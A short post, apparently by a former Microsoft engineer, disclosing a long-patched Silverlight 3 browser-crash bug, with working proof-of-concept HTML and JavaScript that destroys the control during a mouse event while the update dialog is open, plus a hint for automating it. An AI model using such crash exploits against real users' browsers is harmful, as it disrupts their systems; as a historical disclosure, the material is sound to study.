Silverlight 3 DoS — Destroy Control While Update Dialog Is Open

Destroying the Silverlight control (via outerHTML replacement) while the Silverlight update modal dialog is open crashes the browser regardless of how the dialog is closed afterward.

<object id="oSilverlight" data="data:application/x-silverlight,"
        type="application/x-silverlight-2">
    <param name="windowless" value="true" />
    <param name="background" value="#00000000"/>
    <param name="MinRuntimeVersion" value="">
    <param name="AutoUpgrade" value="false">
</object>

<script language="JavaScript">
document.all.oSilverlight.onmousedown = function()
{
    newThread = new ActiveXObject("htmlFile");
    newThread.parentWindow.mainDocument = document;
    newThread.parentWindow.setTimeout("mainDocument.all.oSilverlight.outerHTML = 'Hasta la vista'", 1);
}

// setCapture lets the click be received anywhere on the page
document.all.oSilverlight.setCapture();
</script>

The destruction must happen during an active event (like onmousedown) — a plain setTimeout without the event context does not work. There is a good chance this could be fully automated by setting AutoUpgrade = true and using fireEvent to trigger the update dialog.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.